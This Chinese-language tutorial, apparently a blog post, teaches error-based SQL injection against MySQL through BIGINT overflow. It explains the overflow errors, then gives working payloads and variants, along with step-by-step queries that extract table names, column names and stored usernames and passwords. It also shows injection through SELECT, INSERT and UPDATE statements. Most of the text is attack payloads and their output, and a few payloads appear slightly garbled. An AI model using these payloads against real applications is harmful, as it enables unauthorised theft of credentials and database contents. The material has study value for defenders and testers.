针对的版本为mysql 5.5.5及以上
bigint长度为八字节,也就是六十四比特,这类数据类型有最大的符号值
用二进制,十六进制,十进制分别表示为
“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”
mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in ‘(9223372036854775807 + 1)’
对其进行运算会产生错误,想要避免错误,可以转换为无符号整数,如下
0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”。
In binary
mysql> select cast(b’1111111111111111111111111111111111111111111111111111111111111111’ as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(cast(0xffffffffffffffff as unsigned) + 1)’
In hex
mysql> select cast(x’FFFFFFFFFFFFFFFF’ as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(cast(0xffffffffffffffff as unsigned) + 1)’
我们对0进行逐位取反会取的最大值~0
mysql> select ~0;
±---------------------+
| ~0 |
±---------------------+
| 18446744073709551615 |
±---------------------+
1 row in set (0.00 sec)
对~0进行运算也会导致错误
mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in ‘(1 - ~(0))’
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))
注入:利用溢出报错同时进行子查询
查询成功返回0 我们对他进行逻辑非查询就会变成1 这等同于最大值+1
mysql> select (selectfrom(select user())x);
±------------------------------+
| (selectfrom(select user())x) |
±------------------------------+
| root@localhost |
±------------------------------+
1 row in set (0.00 sec)
Applying logical negation
mysql> select !(selectfrom(select user())x);
±-------------------------------+
| !(selectfrom(select user())x) |
±-------------------------------+
| 1 |
±-------------------------------+
1 row in set (0.00 sec)
mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in ‘(~(0) + (not((select ‘root@localhost’ from dual))))’
url中用%2b表示+
变种攻击:
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
也可以在查询语句来注入操作
mysql> select username, password from users where id=‘1’ or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in ‘((not((select ‘root@localhost’ from dual))) - ~(0))’
select !atan((selectfrom(select user())a))-~0;
select !ceil((selectfrom(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)
HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN
首先,我们来获取表名:
!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0
取得列名:
select !(select*from(select column_name from information_schema.columns where table_name=‘users’ limit 0,1)x)-~0;
检索数据:
!(select*from(select concat_ws(’:’,id, username, password) from users limit 0,1)x)-~0;
利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”。
mysql> insert into users (id, username, password) values (2, ‘’ or !(select*from(select user())x)-~0 or ‘’, ‘Eyre’);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) - ~(0))’
利用更新语句,我们照样可以进行类似的注入,具体如下所示:
mysql> update users set password=‘Peter’ or !(select*from(select user())x)-~0 or ‘’ where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) - ~(0))’